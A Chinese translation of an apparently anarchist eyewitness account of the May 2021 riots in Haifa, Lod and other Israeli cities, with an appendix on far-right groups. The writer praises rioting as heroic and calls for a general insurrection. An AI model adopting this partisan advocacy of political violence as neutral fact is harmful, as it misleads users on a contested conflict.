斯兰教最神圣的地方之一，是抵抗的据点，是国家的象征，也是种族最紧张的地区。在以色列警察决定在其中一个入口 Bab al’Amud 设置障碍，并将礼拜者人数限制在1万人之后，爆发了起义，许多抗议者攻击警察，放火烧毁街道，并捣毁了监视摄像机。

这些障碍物最终被拆除。与此同时，一些巴勒斯坦人上传了带有民族主义色彩的TikTok视频，显示他们在市内攻击犹太人。而极右翼暴徒也被组织起来，在市场和市中心攻击巴勒斯坦人。极右法西斯组织 Lehava 带领种族主义者从市中心向 Bab al’Amud 游行，高呼 “阿拉伯人去死”，在目的地附近被警察阻挡。防暴警察在5月9日和10日进入阿克萨清真寺，在爆发的激烈骚乱中，至少有12名警察和超过215名居民受伤。

【注：利哈瓦（Lehava）是一个极右翼的犹太至上主义组织，总部设在以色列，严格反对犹太人的同化，反对犹太人与非犹太人之间的大多数人际关系。它反对基督教徒在以色列的存在。它着重于反异族通婚，谴责正统犹太法律所禁止的犹太人与非犹太人之间的婚姻。】

在东耶路撒冷的一个巴勒斯坦社区谢赫贾拉，以色列定居者十多年来一直试图将该地区犹太化并驱逐巴勒斯坦人。极端主义的犹太定居点存在于东耶路撒冷的其他巴勒斯坦社区，如西勒万和阿布托尔，他们在那里完全受到以色列警察和武装暴徒的保护。

在国外富有的捐助者（主要是美国犹太人）的支持下，宗教和民族主义定居者组织不断通过以色列司法系统与巴勒斯坦社区和财产展开法律斗争。

谢赫贾拉是耶路撒冷一个非常古老的街区，可以追溯到12世纪。在20世纪50年代，当该地区被约旦控制时，约旦政府在那里安置了从1948年占领和大灾难中逃离的巴勒斯坦难民。目前的争端始于2001年，当时以色列定居者闯入埃尔·库尔德家族的一个封闭区域，并拒绝离开，声称该房屋曾经是犹太人的。耶路撒冷地区法院作出了有利于他们的裁决。

法院裁决的依据是一份奥斯曼时代的销售账单，其真实性在2009年受到质疑，理由是该建筑只租给了塞法迪社区委员会，即 据称拥有该房产的犹太团体。此外，巴勒斯坦家庭和他们的支持者坚持认为，以色列最高法院确认的奥斯曼帝国的文件实际上是伪造的。埃尔·库尔德家族于2008年被驱逐。

2009年8月，al-Hanoun 和 al-Ghawi 家族也被驱逐出位于谢赫贾拉的

两处房屋，犹太家庭搬了进来，依据的是最高法院的裁决，该房产为犹太人所有。

这激起了全世界的愤怒。2010年期间，以色列左翼活动家和当地的巴勒斯坦人每周都在该地区举行示威。全球的反应和斗争能够阻止进一步的驱逐，直到2017年，另一个巴勒斯坦家庭被驱逐 ——Shamasna。在2020年底和2021年初，以色列法院裁定八个家族，大约500人，将被驱逐。由于附近发生的抗议和国际压力，该判决已被上诉，法律听证会也被推迟了很多次。

起义的时机已经成熟。

起义的时间线

「图」

这条时间线主要集中在海法的事件，但也会提到在其他城市的重要事件，这些城市是目前起义的核心，包括耶路撒冷/圣城、利德、阿卡古城、雅法和拉姆勒。有些事件可能被遗漏。

我不是记者；这可能并不完美，但这些是我亲身经历的事件。在我写下这篇文章的时候，局势已经“平静下来”，但事件仍在发生，加沙是一个活地狱，法西斯分子仍在小范围内攻击人们，国家镇压运动仍在进行。

5月9日——

「图」

当我走近德国殖民地时，一大群人已经聚集起来，抗议最近对阿克萨的入侵和在谢赫贾拉的驱逐计划。

德国殖民地是城市中间的一个大社区，靠近瓦迪尼斯纳斯，它的名字来源于19世纪奥斯曼帝国时期的德国圣殿协会定居点。它成为以色列北部许多巴勒斯坦青年的波西米亚中心，有许多餐馆、咖啡馆和俱乐部。主街过去叫卡梅尔大道，现在叫“本古里安”大道，通向巴哈伊神庙，中间的广场被巴勒斯坦人称为哈伊尔广场，是亲巴勒斯坦的示威活动的固定场所。

Hirak 在阿拉伯语中的字面意思是“运动”，是一个由地方组成的分散性运动，类似于亲密团队的模式。不同的希拉克团体活跃在许多城

镇，并相互协调。海法和平组织在晚上8点号召人们聚集，有几百人响应号召。

当我们从广场走到公路上准备阻挡时，警察冲到前面排成一排，以阻止我们行进。人们回头开始向另一侧行进，这使得警察也跑到另一侧，然后人们又迅速转身，开始向预定方向行进。

警察们最终在两边排起了队，对示威者进行围堵。沙巴布明显可见——即 巴勒斯坦青年，被称为更激进的抵抗力量。气氛非常紧张；人们站在警察队伍的前面，挥舞着旗帜，唱着歌。一些抗议者试图冲破警戒线，并被暴力逮捕。情况变得更加紧张，人们开始对警察大喊大叫，对他们竖起手指。然后事情变得混乱起来。

当闪光榴弹直接射向人群，人们跑去躲避时，几英里外就能听到轰炸的声音。餐馆的院子成了躲避的地方，人们用石头和空瓶子扔向警察。一个垃圾桶被放火点着了。那天有15人被捕。

对我来说，这是一个战区，但这只是接下来的日子里的一个缩影。

与此同时，在拿撒勒，一个警察局前也发生了类似的抗议活动。轮胎被烧毁作为路障，与警察发生冲突，导致一些人被捕。

5月10日——

「图」

那天我到达德国殖民地的时间较晚，当时起义已接近尾声，但我确实看到沙巴布占领了卡梅尔大道，在附近的街道上投掷石块并设置燃烧的路障。当时已经有15人被捕。同时，我了解到，在全国范围内，局势已经升级，开始类似于大规模的人民起义。

这一天是耶路撒冷日，是庆祝1967年城东被占领和所谓的“统一”的国庆节，一年一度的国旗游行本应从西部的市中心出发，穿过东部的老城区，在巴布阿穆德和谢赫贾拉的起义以及警察对阿克萨的入侵中进行。

这座城市完全爆发了。数百人在阿克萨清真寺内抗议。发生了私刑企图[在这个地区，“私刑”一词描述的是一群人殴打一个人，有时将其打死，或者将其重伤]。

下午5点左右，哈马斯从加沙宣布，以色列有一个小时的时间将所有

警察从阿克萨和谢赫贾拉撤走。随着时间的推移，在下午6点02分，耶路撒冷响起了警报声，火箭弹从加沙向该市发射。参加国旗游行的人都跑去躲避。与近几年不同的是，警察宣布禁止进入老城区，并阻止了试图进入的游行者。

作为对枪击事件的回应，以色列宣布在加沙开展军事行动，军用飞机开始轰炸加沙地带，造成大规模破坏、杀戮和流离失所。哈马斯作为回应，向以色列城市发射了火箭弹，主要是造成建筑物的损坏，但也有一些人死亡。

在洛德，巴勒斯坦人也称为 Al-Lydd，这是一个历史上的巴勒斯坦城市，现在是中部的混居城市，离特拉维夫不远，情况达到了全面种族骚乱的规模。

巴勒斯坦人放火烧毁了汽车、犹太教堂、市政建筑和一所军事预备学校。在起义中，一名巴勒斯坦人被一名犹太居民开枪打死。医院外也发生了骚乱。在附近的拉姆勒，犹太教堂和一个墓地被烧毁，商店被洗劫一空，并向警察和随机的人投掷石头和烟火。

虽然很难为沙巴布的一些行为辩护，而且不幸的是，这些行为具有明显的民族主义和宗教特征，但重要的是要提到，一开始被破坏的很多犹太教堂是右翼 “妥拉核心” 的犹太教堂，其明确使命是使混居城市犹太化。

了解里德和拉姆勒市的背景也很重要，以及那里被隔离的巴勒斯坦社区是多么的贫民窟化。

起义也发生在雅法，抗议者向警察投掷石块和发射烟花，以及整个北部的加利利和内盖夫地区。有100多人被逮捕，警察局被烧毁。

5月11日 ——

「图」

法西斯主义的反应开始了。

当犹太人和阿拉伯人左翼活动家聚集在德国殖民地通往巴哈伊寺的广场进行非暴力和平示威时，极右翼抗议者聚集在他们面前，高喊 “阿拉伯人去死！”并指责他们是叛徒。

警察将这两批人分开。在街上，在 Ha’asir 广场，巴勒斯坦人已经聚

集在一起，气氛很热烈。一名沙巴布青年爬上路灯的杆子，升起一面巴勒斯坦旗帜。防暴警察带着马匹和水炮来对付抗议者。闪光榴弹像往常一样突然出现，街区变成了一个战区。

该地区的一些餐馆和企业向逃离警察的人们敞开大门以示声援。当晚，沙巴布组织与警察进行了斗争。数十个垃圾桶被烧毁，街道被封锁，有几个小时，警察失去了控制。

通往瓦迪尼斯纳斯的 Allenby 街简直是一片火海。瓦迪尼斯纳斯本身也被完全封锁，沙巴布青年站在通往德国殖民地的广场上，防备着警察的入侵。这感觉就像一块被解放的领土，一个临时的自治区，国家不得不在其中撤退，哪怕只是一晚上。人们肯定感受到了催泪瓦斯云的威力，但人们坚持自己的立场。5 月 11 日，从德国殖民地通往瓦迪尼斯纳斯的 Allenby 街

在德国殖民地的主要街道上，警察允许右翼法西斯分子在重重保护下喊着种族主义口号游行通过。在记录这一事件的视频中，可以看到警察在追赶一名示威者，并暴力闯入附近街道的一所房子。

在利德，在前一天被一名犹太居民杀害的巴勒斯坦人的葬礼上，起义仍在继续，一名警察被扔来的石头砸伤。更多的汽车和犹太教堂被损坏，一些犹太居民因害怕暴力而被疏散。

边境巡逻队进入该市，并有关于将军队引入的讨论。当局宣布进入民事紧急状态，给予警察和维稳机构更多的权力。以色列防暴警察在利德

右翼示威者来到了该市。在拉姆勒，巴勒斯坦人烧毁了当地市场的部分区域。与此同时，法西斯暴徒也动员起来来到该市，主要人物有 Itamar Ben-Gvir 和卡汉主义极右组织利哈瓦。

【注：卡汉主义是一种犹太极端主义思想，其基础是犹太保卫同盟和以色列卡赫党的创始人拉比·梅尔·卡汉（Rabbi Meir Kahane）的观点。卡汉坚持认为，居住在以色列的大多数阿拉伯人是犹太人和以色列本身的敌人，并认为应该建立一个非犹太人没有投票权的犹太神权国家。】

法西斯分子袭击了所有他们怀疑为是阿拉伯人的人，对一名阿拉伯司机实施私刑，向阿拉伯汽车投掷石块，并试图进入一个巴勒斯坦社区。在阿卡古城，巴勒斯坦人在老城区进行起义，焚烧了当地的企业和一个警察局。

5月12日——

「图」

法西斯分子聚集在基利亚特埃利泽（Kiryat Eliezer），这是一个靠近德国殖民地的大部分犹太人居住区，他们向瓦迪尼斯纳斯进军，并攻击巴勒斯坦人。他们在那里是全国性的反巴勒斯坦动员的一部分。

出现了极右翼的 **Telegram** 和 **WhatsApp** 群组，敦促人们带上铜指节套、刀子、棒球棍和其他“冷兵器”，并准备战斗。一个号召呼吁人们聚集在瓦迪尼斯纳斯，帮助保卫该地区，年轻人从下午开始聚集在入口处。警察阻止了法西斯分子到达瓦迪尼斯纳斯，但他们在一路上都对阿拉伯人拥有的企业进行了破坏，攻击巴勒斯坦司机和路人，损坏汽车，向阿拉伯人的房屋投掷石块，并大喊种族主义口号。

警察用催泪瓦斯和闪光榴弹袭击了聚集在瓦迪尼斯纳斯的人们。我不可能进入该社区，因为我到达的时间太晚了，整个地区完全被防暴警察封锁了。在德国殖民地也爆发了冲突，这已经成为一种日常现象。

在巴特亚姆，一个试图到达雅法的法西斯暴徒砸碎了一家阿拉伯人所有的企业的窗户，并残忍地对一名阿拉伯司机处以私刑，这在电视直播中被拍到。

在利德，宣布从晚上8点开始实行宵禁；任何人都不允许进入该城市或走出自己的房子。尽管如此，大量的极右翼帮派—— 其中一些是来自西岸的定居者—— 依旧来到该市，并被允许自由走动和攻击巴勒斯坦人。

在当地清真寺集会的巴勒斯坦人遭到防暴警察、边境巡逻队和法西斯分子的袭击。据报道，整个晚上，定居者和巴勒斯坦人之间发生了枪战。

一名警察在 Ramle 被射伤。法西斯主义的反阿拉伯暴徒和攻击也发生在哈德拉、纳坦亚和其他一些犹太城市。三名以色列人在阿卡被巴勒斯坦人用私刑打死。海法，一辆警车被点燃

5月13日 ——

「图」

在德国殖民地、市中心、瓦迪尼斯纳斯和哈达尔的沙巴布团伙投掷石

块和自制燃烧弹，砸毁银行和企业，设置路障，与警察搏斗，并破坏了路灯杆、交通灯和公交车。一名以色列老年妇女被扔向公共汽车的石头砸伤。与此同时，人们现在每天都聚集在法院，等待被捕者被释放。

在利德，宵禁又持续了一个晚上，警察、巴勒斯坦人和法西斯暴徒之间的街头打斗接踵而至。定居者烧毁了一家阿拉伯商店，而巴勒斯坦人则烧毁了一辆卡车和一个社区中心。一名以色列人被刺伤。据报道，巴勒斯坦人和定居者之间发生了枪战。起义在拉姆拉也在继续。

这几乎是该事件的主要几天。在接下来的日子里，起义基本平息了。抗议和攻击在较小的规模上继续进行。人们的注意力主要集中在飞向以色列城市的火箭弹和加沙的大屠杀上。我谈到了 48 Palestine 的主要事件，但几乎没有提到内盖夫和加利利，他们也勇敢地抵抗国家，西岸的平行起义，以及巴勒斯坦难民在黎巴嫩和约旦的以色列边境和各地大使馆和领事馆的抗议活动。

接下来的日子里，警察和臭名昭著的以色列维稳机构**Shin Bet**（以色列辛贝反情报与国内安全局）进行了严厉镇压。警察搜查了人们的家，寻找参与起义甚至只是参加了有组织的抗议活动的任何人。他们突袭了海法平权组织成员的家，并进行了逮捕—— 逮捕了那些正在考虑如何纪念即将到来的**5**月**15**日大灾难日的人。

灾难日当天，在萨赫宁举行了一次大型抗议活动，和平地结束。法西斯暴徒也在继续，但在这之后，他们都转入了地下。海法的一些阿拉伯房屋被做了标记，导致一些居民在恐惧中离开该市。对一些人来说，这让人想起了大灾难期间的做法 —— 在原住民中制造恐惧和惊慌，迫使他们离开。

5月14日——

「图」

巴勒斯坦人正在组建自治自卫委员会。以下摘自海法的一名巴勒斯坦人 Khulud Khamis 在 Facebook 上发布的声明：

今天早上（*2021*年*5*月*14*日星期五），我被*38*名巴勒斯坦青年夜间在海法被捕的消息惊醒。其中一些是未成年人，他们在没有父母陪同的情况下被审问，而其他受伤的人则被阻止接受医疗护理。来自以色列阿拉伯少数民族权利法律中心（***Adalah***）的律师们整晚都在等待与他们见面，但从那天早上开始，他们被剥夺了提供任何法律咨询的机

会。

这几天在海法几乎是超现实的。我从来没有目睹过在我心爱的城市发生这样的事。连续两晚，约200名自称“公民军”的犹太定居者极端分子冲进海法的巴勒斯坦社区。他们手持球棒和其他武器，其中许多人有军事训练背景，而且组织严密。

下午，人们看到一小群人进入建筑物，用红色标记标出属于巴勒斯坦居民的门。他们破坏了几十辆汽车，在街上攻击巴勒斯坦人，并试图闯入巴勒斯坦人的家中。在其他混居城市，如利德、阿卡、耶路撒冷，也发生了类似的攻击。

巴勒斯坦邻里和社区代表昨天开会讨论保护策略，因为我们已经看到警察不仅没有试图阻止这些攻击，反而使其得以实施并支持那些暴徒。警察没有阻止定居者的攻击，而是攻击巴勒斯坦抗议者，而这些抗议者唯一的罪行是保卫自己的家园。

在第一个晚上，我们目睹了警察的不作为，一些以色列盟友会见了海法市长和警察。这些官员基本上告诉人们，他们无能为力。

我们在自己的家园、城镇和城市得不到保护，暴力事件只会不断升级，加沙被攻击，儿童、妇女和男子被杀害，谢赫贾拉的居民仍然面临着被强制驱逐，而世界却保持沉默，视而不见。

当然，以色列媒体成功地将巴勒斯坦公民描绘成这个等式中的“煽动者和流氓”，而几乎完全忽略了极端主义定居者的攻击。这只对内塔尼亚胡有利，他在过去一年半里举行了四次选举，却屡次未能组建政府。从现在的情况来看，他又有很大的机会组建政府。

雅法、阿卡、海法、利德和其他地方的巴勒斯坦公民正在组建自我保护委员会。律师、医生、心理学家，还有其他人在我们的街区巡逻，以保护我们免受这几天的恶性袭击。

我们呼吁立即进行国际干预，制止这种疯狂行为。我们一直被抛在一边自生自灭，完全没有受到保护。现在是时候行动了。

还有一个更个人的问题。

那些大声说话、抗议、采取行动、抵抗的朋友们：你们站在正义的一边。

而那些沉默的“朋友”们：你们的沉默是震耳欲聋的。

你不要问我你能做什么，或者告诉我你感到无助，说你什么也做不了。总有一些事你可以做。如果你对正在发生的事一无所知，请去了解事实并开始采取行动。这是你的责任。你不能说 “我不知道”。

5月18日 ——

「图」

在 48 Palestine 宣布了总罢工。在海法，白天在瓦迪尼斯纳斯举行了许多活动，以纪念巴勒斯坦文化，包括歌曲、现场表演、绘画和儿童活动。下午6点，在哈达尔，在通往瓦迪尼斯纳斯的路上，有人要求举行抗议活动。重型防暴警察有备而来。当人们开始游行时，警察迅速封锁了道路，阻止了游行队伍的行进。人们没有退缩，反而在街上唱歌和庆祝。尽管气氛紧张，但集会还是和平地结束了。

海法总罢工，5 月 18 日

晚上，德国殖民地附近的一名巴勒斯坦人报告说，右翼种族主义者在他的建筑物上做了标记，投掷石块和燃烧瓶，并大喊种族主义辱骂。

在耶路撒冷，在支持总罢工的示威活动中，警察袭击了人们，并在谢赫贾拉发生了起义。

5月19日 ——

「图」

在乌姆阿法姆，在上周的抗议活动中受伤的17岁巴勒斯坦人穆罕默德·基万被宣布死亡。在该市的入口处爆发了起义。17岁巴勒斯坦人穆罕默德·基万死于警察造成的枪伤

5月20日至23日——

「图」

5月21日，以色列和哈马斯之间宣布停火，结束了在加沙的12天军事行动和火箭发射。在耶路撒冷的起义中，警察再次进入阿克萨清真寺，重复了当初导致局势升级的挑衅。

国家发起了一场激烈的镇压运动，旨在恐吓那些敢于反抗的人。大约2000人被逮捕。5月23日晚，以色列警方宣布了所谓的 “法律与秩序”

行动，旨在48小时内逮捕500人，此外还有大约1500人已经被逮捕。在全国各地的突击检查中，人们被逮捕的罪名包括向警察竖中指、网上发帖、以及参加抗议。逮捕行动至今仍在继续。

青年人向前迈进

「图」

巴勒斯坦人感到被世界背叛和抛弃了。人们只有在发生持续的种族灭绝时才会想起他们，即使如此，每个人都在忙着谈论局势有多 “复杂”。我不确定他们是否有任何人可以信任，包括他们自己的 “领导”。

沙巴布，那些在街头战斗的青年，那些竖起路障对抗警察和放火烧垃圾桶的孩子们，完全与任何形式的政治力量疏远；他们在非正式的小团体中工作，其中许多人根本不关心政治。他们来自巴勒斯坦社会的最边缘，这是犹太复国主义试图将这个社会降至内部混乱的直接后果。他们是黑帮分子、毒贩、各种不法分子、来自 **48 Palestine** 最贫穷的村镇和街区的没有前途的年轻人、无产阶级，而且最重要的是，他们完全没有权力。传统的组织、政党、可敬的宗教领袖和非政府组织的政治对他们来说毫无意义。

巴勒斯坦的新生代已经没有什么可失去的了。即使根据以色列臭名昭著的维稳机构 Shin Bet 的说法，他们确实是 “无法治理” 的。每当暴乱或起义失去控制时，当局和维稳机构就会寻找 “负责任的” 成年人，受人尊敬的 “社区领袖” 来安抚局势。但是，当你投入如此大的力量从内部打破一个社会，达到如此程度时，你就创造了一个你无法与之谈判的敌人，因为他对你的恐惧为零，没有什么可以依赖或希望的。没有办法恢复正常。

而且他们被完全诋毁了。媒体的宣传机器把他们当作罪犯、恐怖分子、野蛮人、嗜血的大屠杀分子，而他们却没有任何发言权。起义被说成不过是一些流氓的暴力愤怒的爆发，认为警察部队、情报机构和监狱系统会处理他们。看起来似乎每个人都决定继续把这些人推到尽可能低的位置，把他们扫到地毯下面，把他们当作只不过是畸形的杀人犯，直到下一次愤怒大爆发。犹太复国主义的种族隔离也是一种阶级制度，他们最讨厌贫穷的巴勒斯坦人。

当然，起义也是一种阶级反抗的形式，超出了种族冲突的常规范围。记得我在什么地方读到过，在第一次起义期间，在其早期，许多在加沙和其他地方起义的青年并不是很有政治头脑，大多数的攻击都是针

对较富裕的巴勒斯坦人。这可以追溯到1936年的阿拉伯人大起义，当时许多攻击涉及巴勒斯坦的农民Falahis，他们对城市精英采取行动。巴勒斯坦社会内部阶级战争的这一层面总是被从历史中抹去，而倾向于更简化的阿拉伯人与犹太人的种族冲突。

一旦大党派、军国主义派系设法接管，这种阶级战争总是被推到一边；例如，第一次起义被巴勒斯坦解放组织（PLO）关闭。它很快就从一个受欢迎的群众斗争变成了少数腐败官僚手中自上而下控制的反对派。

我们都知道，一旦民兵和职业革命者接管，人民就会成为他们自己“解放”的旁观者，抵抗运动的群众性吸引力就会丧失。

巴解组织和法塔赫粉碎了起义，以便使奥斯陆协议得以实施，该协议将西岸划分为小行政区，并引入了所谓的巴勒斯坦权力机构。

法塔赫成为以色列占领者事实上的长臂，从内部管理种族隔离制度。在我看来，现在哈马斯也在进行类似（尽管不是完全相同）的进程。

在我写这篇文章的时候，焦点完全转移到了从加沙袭击以色列城市的火箭弹上。以色列有9人死于哈马斯的火箭弹，其中包括巴勒斯坦人，比如拉姆勒附近的达哈马什村。有几枚哈马斯火箭弹最远到达了西岸。

抗议活动在很大程度上减弱了，我们不再看到大规模的起义。人们不禁感到，哈马斯和军国主义派别打断了在街头、在占领区内的城市中诞生的民众、群众运动，这种运动本可以对国家政权的稳定造成真正的破坏。

我们可以清楚地看到谁从中受益。以色列城市内部的无政府状态已经结束，以色列国家可以向世界推销他们与向我们的城市发射火箭弹的所谓“伊斯兰圣战主义恐怖分子”作战的老掉牙故事。这是个更顺嘴的故事，也更容易处理。反动的意识形态更容易控制，只要有需求，他们就可以接管斗争，扼杀群众运动。

在这个系统中，每个人都扮演着自己的角色。左翼做了历史上左翼在社会动荡时期总是做的事：试图安抚抵抗，吸收其能量，以便将其引向更“可接受”（即无效）的地步。

同样过时的战术，无聊的可预测的示威，“非暴力”的废话，以及关于浅薄的“共存”、和平和民主的空谈。对于以色列犹太左翼的剩余部

分，其实没什么可期待的，但事实证明，即使是阿拉伯政党，也与街头发生的事完全脱节。

来自阿拉伯联合名单的共产主义“激进左派”哈达什党和拉阿姆党都在3月23日的选举中进入了议会（以色列的议会）。他们敦促人们“合法地进行抗议”，不要使用暴力。难怪年轻人完全疏远了他们。

对 **48 Palestinians** 来说，以色列议会中的阿拉伯政党与法塔赫和巴勒斯坦权力机构是一样的：占领的另一张脸，出卖者、合作者、维稳者，是政权的安抚工具。就像希腊的“激进左翼联盟”或西班牙的左翼民粹主义政党 Podemos 一样，他们出现在群众运动中，占用了人民反抗的语言和能量，以便将其全部引回到体制内行事 —— 当然，在关键时刻，他们会完全背叛人民。我怀疑他们现在还有什么可信度。

提到这一点几乎已经成为陈词滥调，但巴勒斯坦人的问题不仅仅是极右翼的混蛋，而是犹太复国主义。以色列的种族主义暴徒是一个建立在深刻的种族主义根源上的国家的直接后果 —— 一个建立在村庄废墟上的定居者殖民项目，驱赶原住民，一个犹太至上主义的国家，而其他所有人都被排斥在外。

以色列可能是民族国家作为解决被压迫人民问题的方式的最糟糕的例子之一。对以色列人来说，对极右翼流氓攻击巴勒斯坦人感到厌恶要容易得多，而以色列国防军在加沙的种族灭绝行动（更不用说这个国家的暴力诞生了）要么不受质疑，要么被完全接受。以色列国防军被称为“人民的军队”，它将“杀死阿拉伯人”的纲领付诸实践，比任何草根法西斯分子都更有效率。

现在，加沙地带完全成了一片废墟。军用飞机向医院投掷炸弹，一座媒体打楼轰然倒下，整个街区被抹去。情况令人难以忍受。就在我写这篇文章的时候，大约有250人被杀，成千上万的人流离失所。

加沙自2007年以来一直被围困；在目前的大屠杀之前，它已经是一个人间地狱，是地球上最大的开放式监狱，而现在它已经达到了人类灾难的境地。这就是主流的犹太复国主义，而不是极端主义的边缘。

我们最近听到很多关于“共存”的言论，特别是在海法这样的混居城市—— 关于暴乱起义破坏了犹太人和阿拉伯人之间的“共存”。这只是个彻头彻尾的神话。这种共存是描述生活在犹太人统治下的一种编码方式，意味着巴勒斯坦人应该保持沉默，抹去自己，以便融入其中。一个月前刚刚庆祝过“独立日”的以色列人绝不会认为这是对一

个历史上巴勒斯坦城市的挑衅，这个城市在大灾难期间遭受了最残酷的攻击—— 但如果巴勒斯坦人敢于表明他们的存在，他们将付出惨痛的代价。所谓的共存只是一种镇压行动。

很难预测接下来会发生什么。沙巴布与警察进行了英勇的斗争，解放了一些领土，这些临时的自治区域，国家在其中没有出现，只有一个晚上，你可以自由行走，超越催泪瓦斯的云层，想象一个不同的现实。

但他们不应该不受批评。许多袭击具有民族主义特征，他们做了一些难以为其辩护的事。攻击犹太教堂、公共汽车和随机的人并不是处理这种情况的最好办法。

我们现在迫切需要的是联合起义，共同抵抗，让犹太人和阿拉伯人以及这片土地上的所有人都参与进来，反对所有让我们沉沦并阻止我们将对方视为同胞的当局。

在起义的空间里，我们必须创建自主的解放区，在那里我们可以构建新的方式来看待彼此和我们周围的世界，以重塑生活，平等地分享空间。

不幸的是，就目前而言，这只是一个幻想。太多的鲜血已经洒下，人们无法相互信任。你可以感觉到到处都是紧张的气氛—— 我们在这个城市里生活在一起，但无形的精神边界不断地将我们分割开。

所谓美国的情况激励着我。反警察暴力的起义是一场真正的、多样化的起义。黑人和白人劳动者在街道上找到了彼此，共同对抗剥削他们的制度。我甚至听说，第一个在明尼阿波利斯放火烧毁警察分局的人是一个白人哥们。这对美国这样的地方来说是一个巨大的进步，现在条件已经成熟，可以进行多种族的反抗，让人们团结起来战斗。

所以一切都有可能，我想。但很难保持希望。感觉我们还有很长的路要走。尽管如此，有些人并没有等待。在每天的种族隔离现实下，每一秒都在形成联系，在我们说话时，有形和无形的边界正在被粉碎。同样重要的是，我们没有太多的时间—— 鉴于气候危机和日益恶化的生态状况，未来的起义将为资源、清洁水和可呼吸的空气而战，就像为土地而战一样。

最后，我将引用阿尔弗雷多·博纳诺（Alfredo M. Bonnano）所写的《巴勒斯坦，我的爱人》中的一段话：

和平的前景遥遥无期。理想的解决方案，至少在所有心系人民自由的人看来，只能是普遍的反叛。换句话说，从以色列人民开始的起义，能够摧毁统治他们的机构，并在合作和相互尊重的基础上直接向巴勒斯坦人民提出和平建议，而没有中间人。但就目前而言，这种观点只是一个梦想。我们必须为最坏的情况做好准备。

附录：以色列法西斯主义的初学者实地指南

「图」

与美国和欧洲的极右翼一样，以色列法西斯在过去几年里变得更加分散，从大的组织变成了非正式的组织，主要是在网上和通过 Telegram 等应用程序。

在起义期间，许多攻击巴勒斯坦人的暴徒都没有名字，或者名字不断改变，因为他们一旦被曝光就转入地下。

我仍然会提到那些大的和著名的组织，因为它们仍然是动员的力量，传播仇恨的宣传，并作为通往更多地下组织方式的通道。我认为海外人士熟悉以色列极右团体、组织、符号和意识形态是很重要的，因为他们在各地的犹太人社区活动。这是保持我们社区安全的好方法，也是为当地巴勒斯坦人和难民提供保护和声援的好方法。

卡汉主义—— 一种极端的犹太意识形态，以拉比梅尔·卡汉的名字命名。梅尔·卡汉是一位美国拉比，主要在20世纪80年代活跃在以色列，是该国极右政治的领军人物。他提议将主要是阿拉伯人和所有其他非犹太人驱逐出以色列，以 “净化” 土地，并在圣经中的大以色列边界内建立一个哈拉卡（犹太法）君主制。

在他的政党卡赫（Kach）的领导下，他提出的种族主义法律让人联想到纽伦堡法案—— 纳粹德国于**1935**年颁布的反犹太法律，直到1985年该党因种族主义而被取缔。卡汉最终在纽约市被一名埃及裔美国人暗杀，但他的思想和意识形态在今天的以色列仍然存在，而且越来越强大。

卡汉主义派别存在于西岸的犹太人定居点，特别是希伯伦和阿尔巴镇的极端主义定居者中，他们与许多针对巴勒斯坦人的恐怖袭击和暴力运动有关。

一些著名的卡汉主义者包括巴鲁克·戈尔茨坦（Baruch Goldstein），他于1994年在希伯伦的始祖洞向穆斯林礼拜者开火，造成29人死

亡。卡汉主义恐怖分子和民兵继续对西岸、以色列和国外的巴勒斯坦人实施暴力行动。世界各地的卡汉主义组织包括犹太防卫联盟和犹太工作队。卡汉主义的旗帜

利哈瓦（**Lehava**）—— 一个大型的卡汉主义组织。Lehava 是“为防止圣地同化”的希伯来语缩写。以针对通婚关系 —— 特别是犹太妇女和阿拉伯男子之间的关系而闻名，派打手威胁和攻击与犹太人约会的巴勒斯坦人，并在耶路撒冷的街道上攻击巴勒斯坦人。

该组织许多领导人物居住在西岸的犹太人定居点。利哈瓦组织了4月22日从西耶路撒冷到东耶路撒冷的“阿拉伯人去死”的种族主义游行，在导致局势升级的几天里，许多在耶路撒冷寻找巴勒斯坦人进行攻击的暴徒都与该组织有关。他们在国外也有一些分会。左边是以色列犹太复国主义者组织 Im Tirzu的标志，右边是利哈瓦的标志

Otzma Yehudit “犹太力量”—— 一个卡汉主义、极端民族主义的极右政党。其许多成员是拉比梅尔·卡汉的学生和追随者。该党在选举中通常无法进入议会，但其主要成员之一伊塔马尔·本·格维尔（Itamar Ben-Gvir）在上次选举中进入了议会，同时与宗教犹太复国主义者一起竞选。本·格维尔把他的“办公室”设在谢赫贾拉社区，并参与动员拉姆勒的私刑暴徒，为局势升级做出了自己的贡献。

Hilltop Youth—— 西岸定居者青年的宗教和民族主义亚文化。因他们习惯于在西岸的山顶上建造前哨而得名。它涉及一些卡汉主义者，一些其他类型的宗教原教旨主义和极端民族主义，都是暴力和危险的。这些团体中出现了一些极其暴力的地下恐怖组织，如 Bat Ayin 地下组织，该组织试图炸毁东耶路撒冷的一所巴勒斯坦女校。Hilltop Youth 在目前法西斯暴徒的动员中出现，尽管有“宵禁”，但他们仍武装起来，与警察一起攻击巴勒斯坦人。

Im Tirzu—— 一个更世俗的新犹太复国主义法西斯组织，以大学校园的学生小组为基础。Im Tirzu 专注于极端民族主义活动，否认大灾难，以及针对左翼、难民、移民和人权组织的诽谤和法律运动。在他们起诉一个 Facebook 小组称他们为法西斯分子后，以色列法院说，他们确实“具有与法西斯主义的某些相似之处”。因此，即使按照以色列司法系统的说法，他们也是法西斯分子，这是一个相当大的成就。

○□

La Revuelta en Haifa: Informe de un Testigo Ocular

原文

“内卷”、躺平、政治、经济、工人阶级和民族主义：全方位看中国 - iyouport

长读

中国不仅有政府对人民的专制，还有人民对人民的专制，这是期待联盟中国力量的西方反抗者和致力于协助中国变革的权利组织所没有意料到的……

- 躺平有用吗？
- “内卷” 究竟是什么？
- 中国人习惯于如何改变命运？
- 996为什么失败了？
- 中国社会的种族主义如何表现？
- 中国一些自称 “左翼” 的人为什么事实上是极右翼民族主义者？
- 人们经常谈论的是自上而下的专制主义，但社会水平层面的专制主义是什么样的？
- 人们真的担心政府强行安装的应用程序吗？如果是，为什么人们不反抗？
- 在中国，“领导”是个什么角色？
- 即使是那些可以翻墙的中国人，也没兴趣去了解自己实际上被剥夺了什么，这是怎么了？
- 中国对全球经济的作用是什么？
- 为什么人们存钱而不是消费？
- 赚多少钱才能算中产阶级？
- 严重的不平等在中国带来了什么？
- 民族主义的来源是什么？
- 教育和务工、流民、房贷、人口危机、城市化、香港、新疆、中等收入陷阱、抓间谍 ……

「图」

这些情况是如何导致的？中国问题的解决方法是什么？

【按】大约两年前开始，我们和两位中国朋友合作，在 Signal 组建了

多个中文群组。这只是一场实验。

虽然每一个群组的人数都不多，但是它们的确是从微信转移过来的，也就是说，人际关系在中国微信中已经很成熟。是可以用中文称之为“圈子”的属性，即 人们之间是熟悉的，有长时间的交往。

